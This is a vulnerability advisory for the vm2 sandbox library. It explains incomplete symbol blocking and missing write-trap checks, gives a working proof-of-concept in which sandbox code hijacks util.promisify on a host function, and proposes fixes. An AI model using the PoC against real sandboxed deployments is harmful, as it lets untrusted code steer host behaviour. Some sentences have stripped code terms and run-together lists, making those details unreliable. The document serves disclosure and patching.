| Package | Affected versions | Patched versions |
|---|---|---|
| vm2 | < 3.11.4 | 3.11.4 |
vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain.
1. Incomplete Symbol.for override (setup-sandbox.js:132-142):
Symbol.for = function (key) {
const keyStr = '' + key;
if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
return originalSymbolFor(keyStr); // everything else passes through
};
Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols:
nodejs.util.promisify.customnodejs.stream.readablenodejs.stream.writablenodejs.stream.duplexnodejs.stream.transformnodejs.webstream.isClosedPromisenodejs.webstream.controllerErrorFunctionNote: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source.
2. Missing symbol check in bridge write traps (bridge.js):
The get trap (line 1148) and ownKeys trap (line 1541) both check isDangerousCrossRealmSymbol(key), but set (line 1231), defineProperty (line 1427), and deleteProperty (line 1493) have no such check. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.
3. Incomplete filters in setup-sandbox.js:
isDangerousSymbol(), Object.getOwnPropertyDescriptors override, and override only filter and — missing and all stream/webstream symbols.
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Scan my site freeObject.assigninspect.customrejectionpromisify.customconst { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);
// Sandbox writes promisify.custom to host function
vm.run(`
const kPromisify = Symbol.for('nodejs.util.promisify.custom');
hostFn[kPromisify] = function(path) {
return Promise.resolve('HIJACKED by sandbox');
};
`);
// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"
Additional verified attacks:
nodejs.stream.writable to a host Readable stream, altering its duck-typing identityObject.assign propagates unblocked symbols from sandbox source to host targetObject.defineProperty with unblocked symbol key succeeds on host objectsdelete hostObj[unblocked_symbol] succeeds, removing host-set symbol propertiesutil.promisify behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.
setup-sandbox.js: Block all nodejs.* prefixed symbols:Symbol.for = function (key) {
const keyStr = '' + key;
if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);
return originalSymbolFor(keyStr);
};
bridge.js: Add check to write traps:set(target, key, value, receiver) {
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
// ...
}
setup-sandbox.js: Sync isDangerousSymbol, Object.getOwnPropertyDescriptors, Object.assign to cover all dangerous symbols.